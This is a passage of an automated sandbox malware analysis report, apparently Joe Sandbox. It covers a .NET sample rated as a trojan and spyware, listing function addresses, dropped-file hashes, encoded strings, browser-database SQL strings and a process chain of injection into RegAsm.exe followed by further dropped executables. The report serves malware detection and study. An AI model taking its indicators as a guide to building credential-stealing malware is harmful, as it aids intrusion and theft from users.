Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C09F380 3_2_6C09F380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C1053C8 3_2_6C1053C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C21AC30 3_2_6C21AC30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C206C00 3_2_6C206C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C14AC60 3_2_6C14AC60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C19ECD0 3_2_6C19ECD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C13ECC0 3_2_6C13ECC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C2C8D20 3_2_6C2C8D20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C20ED70 3_2_6C20ED70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C26AD50 3_2_6C26AD50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C1D6D90 3_2_6C1D6D90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C144DB0 3_2_6C144DB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C2CCDC0 3_2_6C2CCDC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C220E20 3_2_6C220E20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C1DEE70 3_2_6C1DEE70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C1C6E90 3_2_6C1C6E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C14AEC0 3_2_6C14AEC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C1E0EC0 3_2_6C1E0EC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C146F10 3_2_6C146F10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C280F20 3_2_6C280F20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C202F70 3_2_6C202F70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C1AEF40 3_2_6C1AEF40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C288FB0 3_2_6C288FB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C14EFB0 3_2_6C14EFB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C21EFF0 3_2_6C21EFF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C140FE0 3_2_6C140FE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C190820 3_2_6C190820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C1CA820 3_2_6C1CA820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C214840 3_2_6C214840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C2468E0 3_2_6C2468E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C196900 3_2_6C196900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C178960 3_2_6C178960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C2009B0 3_2_6C2009B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C1D09A0 3_2_6C1D09A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C1FA9A0 3_2_6C1FA9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C25C9E0 3_2_6C25C9E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C1749F0 3_2_6C1749F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C1EEA00 3_2_6C1EEA00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C1F8A30 3_2_6C1F8A30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C1BCA70 3_2_6C1BCA70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C1BEA80 3_2_6C1BEA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C1E0BA0 3_2_6C1E0BA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C246BE0 3_2_6C246BE0
Source: C:\ProgramData\AFIDGDBGCA.exe Code function: 6_2_025D0E48 6_2_025D0E48
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Code function: 7_2_011E24D1 7_2_011E24D1
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Code function: 7_2_011E0E48 7_2_011E0E48
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Code function: 7_2_011E6AC9 7_2_011E6AC9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0040F870 15_2_0040F870
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_00401000 15_2_00401000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0040A0C0 15_2_0040A0C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0040E080 15_2_0040E080
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_00415081 15_2_00415081
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0040B150 15_2_0040B150
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_00431167 15_2_00431167
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0044A120 15_2_0044A120
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_00409269 15_2_00409269
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_004082A0 15_2_004082A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0043F2AC 15_2_0043F2AC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_004362B0 15_2_004362B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_00401379 15_2_00401379
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_004483F0 15_2_004483F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_004013BC 15_2_004013BC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_00409442 15_2_00409442
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0042D4B0 15_2_0042D4B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_00436560 15_2_00436560
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0042F5D0 15_2_0042F5D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_004015DE 15_2_004015DE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0040A5E0 15_2_0040A5E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0042C5E3 15_2_0042C5E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_00428581 15_2_00428581
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_00403660 15_2_00403660
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_00410690 15_2_00410690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_004487D0 15_2_004487D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_00447870 15_2_00447870
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_004378C0 15_2_004378C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_00407900 15_2_00407900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0040C9D0 15_2_0040C9D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0041DACA 15_2_0041DACA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_00406B60 15_2_00406B60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_00437B70 15_2_00437B70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0042CB0F 15_2_0042CB0F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0042ABF9 15_2_0042ABF9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_00443B90 15_2_00443B90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0040BC60 15_2_0040BC60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0040ACC0 15_2_0040ACC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_00426D6F 15_2_00426D6F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_00447D70 15_2_00447D70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0042CD08 15_2_0042CD08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_00412D20 15_2_00412D20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_00404DB0 15_2_00404DB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_00449E50 15_2_00449E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_00413E12 15_2_00413E12
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_00410ED0 15_2_00410ED0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0043DF50 15_2_0043DF50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_00406F00 15_2_00406F00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_00408FCE 15_2_00408FCE
Dropped file seen in connection with other malware
Source: Joe Sandbox View Dropped File: C:\ProgramData\AFIDGDBGCA.exe 2A7CDB79045658B9C02EBBB159E5B3680D7D6D832DBD757572F7D202C3FA935D
Source: Joe Sandbox View Dropped File: C:\ProgramData\BFIIEHJDBK.exe 0A6A258BFDB9B1947F2945B44E274FF3F06A7C5C733FF83C2A71C5F911FA9CC0
Found potential string decryption / allocating functions
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: String function: 004047E8 appears 38 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: String function: 00410609 appears 71 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: String function: 6C0D94D0 appears 90 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: String function: 0040C7C0 appears 50 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: String function: 004104E7 appears 36 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: String function: 0041C710 appears 153 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: String function: 6C0CCBE8 appears 134 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: String function: 6C2C09D0 appears 105 times
One or more processes crash
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2672 -s 948
PE / OLE file has an invalid certificate
Source: file.exe Static PE information: invalid certificate
Sample file is different than original file name gathered from version info
Source: file.exe, 00000000.00000002.2065929158.00000000015AE000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameclr.dllT vs file.exe
Source: file.exe Binary or memory string: OriginalFilenameVQP.exe< vs file.exe
Uses 32bit PE files
Source: file.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: file.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: BFIIEHJDBK.exe.3.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 66f4247d51812_lfdsjna[1].exe.3.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: AFIDGDBGCA.exe.3.dr, -Module-.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 66f424e80b9cc_idsmds[1].exe.3.dr, -Module-.cs Cryptographic APIs: 'TransformFinalBlock'
Source: MFDBG.exe.6.dr, -Module-.cs Cryptographic APIs: 'TransformFinalBlock'
Source: FDWDZ.exe.7.dr, -Module-.cs Cryptographic APIs: 'TransformFinalBlock'
Source: AFIDGDBGCA.exe.3.dr, QXV0b1NldHVwQUFB.cs Base64 encoded string: 'SP3DikImXrLjXqSGQsSe2vRYRkPQs37w5lXXpehDe/REqetzhIvbN6DFRW/dKlYJ', 'yAbZvp6jLitNltmgUkh0TEM3St7v9GH+q9tfw2jGMF6iMFtepkj2kg==', 'yAbZvp6jLitNltmgUkh0TEM3St7v9GH+q9tfw2jGMF6iMFtepkj2kg=='
Source: 66f424e80b9cc_idsmds[1].exe.3.dr, QXV0b1NldHVwQUFB.cs Base64 encoded string: 'SP3DikImXrLjXqSGQsSe2vRYRkPQs37w5lXXpehDe/REqetzhIvbN6DFRW/dKlYJ', 'yAbZvp6jLitNltmgUkh0TEM3St7v9GH+q9tfw2jGMF6iMFtepkj2kg==', 'yAbZvp6jLitNltmgUkh0TEM3St7v9GH+q9tfw2jGMF6iMFtepkj2kg=='
Source: MFDBG.exe.6.dr, QXV0b1NldHVwQUFB.cs Base64 encoded string: 'SP3DikImXrLjXqSGQsSe2vRYRkPQs37w5lXXpehDe/REqetzhIvbN6DFRW/dKlYJ', 'yAbZvp6jLitNltmgUkh0TEM3St7v9GH+q9tfw2jGMF6iMFtepkj2kg==', 'yAbZvp6jLitNltmgUkh0TEM3St7v9GH+q9tfw2jGMF6iMFtepkj2kg=='
Source: FDWDZ.exe.7.dr, QXV0b1NldHVwQUFB.cs Base64 encoded string: 'SP3DikImXrLjXqSGQsSe2vRYRkPQs37w5lXXpehDe/REqetzhIvbN6DFRW/dKlYJ', 'yAbZvp6jLitNltmgUkh0TEM3St7v9GH+q9tfw2jGMF6iMFtepkj2kg==', 'yAbZvp6jLitNltmgUkh0TEM3St7v9GH+q9tfw2jGMF6iMFtepkj2kg=='
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@30/1065@14/11
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C0F7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree, 3_2_6C0F7030
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_004114A5 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle, 3_2_004114A5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00411807 __EH_prolog3_catch_GS,CoInitializeEx,CoInitializeSecurity,CoCreateInstance,CoSetProxyBlanket,VariantInit,FileTimeToSystemTime,GetProcessHeap,HeapAlloc,wsprintfA,VariantClear, 3_2_00411807
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\file.exe.log Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Mutant created: NULL
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6292:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5504:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6048:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess5824
Source: C:\Windows\SysWOW64\WerFault.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess2672
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File created: C:\Users\user\AppData\Local\Temp\delays.tmp Jump to behavior
Source: file.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: file.exe Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\file.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: RegAsm.exe, 00000003.00000002.3260503251.00000000349AB000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: RegAsm.exe, 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000003.00000002.3290171723.000000004088F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3194681556.00000000224A8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3135039165.000000001C534000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.3.dr Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: RegAsm.exe, 00000003.00000002.3260503251.00000000349AB000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: RegAsm.exe, 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000003.00000002.3290171723.000000004088F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3194681556.00000000224A8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3135039165.000000001C534000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.3.dr Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: RegAsm.exe, 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000003.00000002.3290171723.000000004088F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3194681556.00000000224A8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3135039165.000000001C534000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.3.dr Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: RegAsm.exe, 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000003.00000002.3290171723.000000004088F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3194681556.00000000224A8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3135039165.000000001C534000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.3.dr Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: RegAsm.exe, 00000003.00000002.3260503251.00000000349AB000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: RegAsm.exe, 00000003.00000002.3194681556.00000000224A8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3135039165.000000001C534000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: INSERT INTO "%w"."%w"("%w") VALUES('integrity-check');
Source: RegAsm.exe, 00000003.00000002.3260503251.00000000349AB000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: RegAsm.exe, 00000003.00000002.3260503251.00000000349AB000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: RegAsm.exe, 00000003.00000002.3260503251.00000000349AB000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: RegAsm.exe, 00000003.00000002.3194681556.00000000224A8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3135039165.000000001C534000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: CREATE TABLE IF NOT EXISTS %s.'rbu_tmp_%q' AS SELECT *%s FROM '%q' WHERE 0;
Source: RegAsm.exe, 00000003.00000002.3260503251.00000000349AB000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: RegAsm.exe, RegAsm.exe, 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000003.00000002.3290171723.000000004088F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3194681556.00000000224A8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3135039165.000000001C534000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.3.dr Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: RegAsm.exe, 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000003.00000002.3290171723.000000004088F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3194681556.00000000224A8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3135039165.000000001C534000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.3.dr Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: RegAsm.exe, 00000003.00000002.3260503251.00000000349AB000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: RegAsm.exe, 00000003.00000002.3194681556.00000000224A8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3135039165.000000001C534000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,nexec INT,ncycle INT,stmt HIDDEN);
Source: HDHJEB.3.dr, ECGIII.3.dr Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: RegAsm.exe, 00000003.00000002.3194681556.00000000224A8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3135039165.000000001C534000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: RegAsm.exe, 00000003.00000002.3260503251.00000000349AB000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: RegAsm.exe, 00000003.00000002.3194681556.00000000224A8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3135039165.000000001C534000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: RegAsm.exe, 00000003.00000002.3260503251.00000000349AB000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;
Source: file.exe ReversingLabs: Detection: 34%
Source: unknown Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process created: C:\ProgramData\AFIDGDBGCA.exe "C:\ProgramData\AFIDGDBGCA.exe"
Source: C:\ProgramData\AFIDGDBGCA.exe Process created: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe "C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe"
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process created: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe "C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe" --checker
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process created: C:\ProgramData\BFIIEHJDBK.exe "C:\ProgramData\BFIIEHJDBK.exe"
Source: C:\ProgramData\BFIIEHJDBK.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\BFIIEHJDBK.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\ProgramData\BFIIEHJDBK.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\ProgramData\BFIIEHJDBK.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\ProgramData\BFIIEHJDBK.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe "C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe"
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2672 -s 948
